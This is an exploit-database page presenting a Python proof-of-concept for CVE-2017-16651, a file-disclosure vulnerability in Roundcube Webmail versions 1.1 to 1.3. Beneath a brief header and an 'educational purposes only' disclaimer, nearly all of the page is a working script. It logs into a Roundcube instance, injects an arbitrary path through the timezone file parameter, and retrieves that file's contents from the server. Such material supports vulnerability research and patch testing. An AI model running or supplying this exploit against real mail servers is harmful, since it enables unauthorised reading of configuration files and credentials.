Roundcube webmail 1.2 file disclosure Vulnerability / Exploit

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Exploits / Vulnerability Discovered : 2021-02-01 | Type : webapps | Platform : php
This exploit / vulnerability Roundcube webmail 1.2 file disclosure is for educational purposes only and if it is used you will do on your own risk!

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[+] Code ...

# Exploit Title: Roundcube Webmail 1.2 - File Disclosure
# Date: 09-11-2017
# Exploit Author: stonepresto
# Vendor Homepage: https://roundcube.net/
# Software Link: https://sourceforge.net/projects/roundcubemail/files/roundcubemail-beta/1.2-beta/
# Version: 1.1.0 - 1.1.9, 1.2.0 - 1.2.6, 1.3.0 - 1.3.2
# Tested on: roundcube version 1.2-beta
# CVE : CVE-2017-16651

#!/usr/bin/env python3
# Reference: https://gist.github.com/thomascube/3ace32074e23fca0e6510e500bd914a1
# https://github.com/stonepresto/CVE-2017-16651
# Exploit Author: stonepresto

import requests
import re
import sys

URL="https://127.0.0.1/"
USER="user@example.com"
PASS="password"

def main():
s = requests.Session()
r = s.get(URL,params={"_task":"login"},verify=False)
token = None
for line in r.text.split("\n"):
if 'name="_token"' in line:
token = line.split("value=")[1].split('"')[1]
print("[+] token: %s" % token)
if token is None:
print("[!] unable to retrieve token")
sys.exit(1)

data = {
"_token":token,
"_task":"login",
"_action":"login",
"_timezone[files][1][path]":sys.argv[1],
"_url":"_task%3Dlogin",
"_user":USER,
"_pass":PASS
}
r = s.post(URL,params={"_task":"login"},data=data,verify=False)

params = {
"_task":"settings",
"_action":"upload-display",
"_from":"timezone",
"_file":"rcmfile1"
}

r = s.get(URL,params=params,verify=False)
print(r.text)

if __name__ == "__main__":
if len(sys.argv) != 2:
print("[!] Usage: %s <file-to-read>" % sys.argv[0])
else:
main()